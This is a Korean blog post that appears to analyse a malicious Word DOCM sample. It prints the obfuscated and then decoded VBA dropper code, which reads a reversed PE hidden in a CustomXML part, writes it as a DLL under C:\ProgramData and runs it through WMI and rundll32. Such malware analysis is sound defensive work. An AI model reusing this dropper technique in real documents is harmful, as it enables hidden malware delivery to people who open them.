[Macro] 문서형 악성코드 분석
요약
이 글은 DOCM 샘플 하나를 대상으로, 매크로 진입점이 어디인지, 난독화된 문자열이 어떻게 복원되는지, 실제 페이로드가 문서 내부 어디에 숨겨져 있는지, 그리고 최종적으로 어떤 방식으로 실행되는지를 따라간 분석 기록이다.
기존 분석 기록을 현재 블로그 구조에 맞게 다시 정리한 결과, 이 샘플은 Document_Open()에서 시작해 CustomXML에 숨긴 reversed PE 데이터를 꺼내 DLL로 저장하고, WMI를 거쳐 rundll32로 실행하는 흐름으로 읽는 것이 가장 자연스럽다.
문서 정보
- 작성일: 2023-04-08
- 검증 기준일: 2026-04-16
- 문서 성격: analysis
- 테스트 환경: 기존 분석 기록 기준 Windows 문서 분석 환경, DOCM 샘플,
olevba, HxD, OOXML 내부 파일 확인 - 테스트 버전:
olevba, HxD, Word/Office 버전 미기록 - 샘플 식별자: SHA-256
014827baac8a836d570203d3ff88b22957dcedd1cc4eae49e4ac62334f4f4903 - 출처 등급: Microsoft Learn과 원저자 도구 문서를 우선 참고했다.
- 비고: 이 글은 기존 분석 메모와 스크린샷을 현재 템플릿으로 재구성한 글이다. 이번 개정에서는 본문-근거 연결과 해석 경계를 보강했고, 원 분석 시점의 도구 버전은 남아 있지 않다.
문제 정의
이 글이 답하려는 질문은 네 가지다.
- 문서가 열릴 때 실제로 어떤 루틴이 먼저 실행되는가
- 숫자 문자열 난독화는 어떤 방식으로 디코딩되는가
- 페이로드는 문서 내부 어디에 저장되어 있는가
- 최종 실행 체인은 드로퍼 관점에서 어떻게 이어지는가
반대로 이 글은 최종 DLL의 전체 기능, 네트워크 행위, init export 내부 동작까지 모두 복원하는 글은 아니다. 범위는 문서 내부 드로퍼 흐름과 페이로드 적재 방식까지로 제한한다.
확인된 사실
- 공식 문서 기준으로 Word VBA의
Document_Open이벤트는 문서가 열릴 때 발생한다. 근거: Document.Open event (Word) - 공식 문서 기준으로
CustomXMLParts는 문서 안의 custom XML data store를 가리키며, Open XML 문서는 ZIP 패키지 안에 여러 part를 저장한다. 근거: Document.CustomXMLParts property (Word), About the Open XML SDK for Office - 공식 문서 기준으로
Win32_Process.Create는 새 프로세스를 만들 수 있고,Win32_ProcessStartup은 시작 옵션을 담는 WMI 클래스다. 근거: Create method of the Win32_Process class, Win32_ProcessStartup class - 공식 문서 기준으로
rundll32는 DLL을 로드해 지정한 엔트리 포인트를 실행하는 명령 흐름과 연결된다. 근거: rundll32
직접 확인한 결과
1. 매크로 진입점과 메인 루틴
- 기존 분석 기록 기준 직접 확인한 결과:
olevba로 매크로를 추출했을 때 진입점은Document_Open()이었고, 이 이벤트가zwxcnxajcshyp를 호출했다.
Private Sub Document_Open()
zwxcnxajcshyp True
End Sub
- 기존 분석 기록 기준 직접 확인한 결과: 메인 루틴에는 숫자 문자열 상수와
rrhzspxkphvvy호출이 반복되어 있었고, 이 패턴이 디코딩 루틴 존재를 암시했다.
Const merrdjtosyhjjuraz = "166157191179213210202213196208167196215196191"
Const iujnoejlhsccsg = "218204209208202208215214157222204208211200213214210209196215204210209175200217200207160204208211200213214210209196215200224132191191145191213210210215191198204208217149"
pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts(rrhzspxkphvvy(ichejlnhmywnfzndkdg)).SelectSingleNode("/").Text)
2. 문자열 디코딩 방식과 복원 결과
- 기존 분석 기록 기준 직접 확인한 결과:
rrhzspxkphvvy는 입력 문자열을 3자리씩 끊어 dictionary key로 쓰고,siudlfagynaqsgxowx가 만든 key-value 매핑에서 문자를 꺼내 이어 붙이는 구조였다. - 기존 분석 기록 기준 직접 확인한 결과: 이 루틴으로 아래 문자열을 복원할 수 있었다.
C:\ProgramData\
winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2
Win32_ProcessStartup
winmgmts:root\cimv2:Win32_Process
http://localhost/
- 직접 해석을 최소화하고 sample에서 바로 읽히는 부분만 요약하면 흐름은 아래와 같았다.
- CustomXML에서 hex 문자열을 읽는다.
- 디코딩/재조합 후
C:\ProgramData\아래에 파일을 쓴다. - WMI
Win32_Process경로를 통해 새 프로세스 실행 흐름을 만든다. - 최종 실행 문자열에는
rundll32 ... ,init형태가 등장한다.
3. 문서 내부 페이로드 위치
- 기존 분석 기록 기준 직접 확인한 결과: 샘플 확장자를 ZIP으로 바꿔 내부를 열면
customXml/item1.xml계열 파일에서http://localhost/namespace 아래 hex 데이터가 보였다.
<custom-xml-content xmlns="http://localhost/">핵사값</custom-xml-content>
- 기존 분석 기록 기준 직접 확인한 결과: 해당 hex 데이터를 HxD에서 열어 보면 뒤집힌 형태의 PE 데이터가 나타났다.

4. 최종 실행 체인
- 기존 분석 기록 기준 직접 확인한 결과: 디코딩된 메인 루틴을 사람이 읽기 쉬운 형태로 정리하면 아래와 같았다.
pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts("http://localhost/").SelectSingleNode("/").Text)
diowrynmsjektmzbl = lcjsxjbkldksstie
raeozmfjnymq "C:\ProgramData\" + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
Set fhfcsnunstz = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set xydisndhrfnkrmnael = fhfcsnunstz.Get("Win32_ProcessStartup")
Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
Set mpuduxzmupgceh = GetObject("winmgmts:root\cimv2:Win32_Process")
nvplchnzsnuzfpoy = "rundll32" + "C:\ProgramData\" + diowrynmsjektmzbl + ",init"
vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
- 기존 분석 기록 기준 직접 확인한 결과:
lcjsxjbkldksstie는 locale 후보, 숫자 1자리,.dll접미사를 조합하는 파일명 생성 루틴으로 읽혔다.
해석 / 의견
- 해석: 이 샘플은 매크로가 최종 악성 행위를 모두 수행하기보다, 문서 안에 숨긴 reversed PE를 꺼내 DLL로 저장하고 실행하는 dropper 역할에 더 가깝다.
- 해석:
http://localhost/는 네트워크 IOC라기보다 CustomXML namespace 식별자처럼 쓰인 값으로 읽는 것이 더 자연스럽다. 본문에서 다루는 핵심은 통신이 아니라 OOXML 내부 저장 위치다. - 의견:
rundll32 ... ,init와 파일명 생성 루틴을 함께 보면, 추출된 reversed PE를 DLL로 판단하는 해석이 가장 설득력 있다. 다만 이번 글은 DLL 내부 exportinit의 실제 동작까지는 추적하지 않았다.
한계와 예외
- 이번 개정은 기존 분석 기록을 재정리한 작업이라, 원 분석 당시의
olevba, HxD, Word/Office 정확한 버전은 남아 있지 않다. - reversed PE가 DLL이라는 해석은 파일명 조합 루틴과
rundll32호출을 근거로 한 것이며, 최종 드롭된 파일을 별도 정적/동적으로 완전히 분석한 기록은 이 글에 포함하지 않았다. - 샘플은 단일 SHA-256 기준 사례다. 매크로형 문서 악성코드 전체에 일반화하면 안 된다.
- 네트워크 통신, 지속성, 2차 페이로드 기능은 이 글의 범위 밖이다.
댓글남기기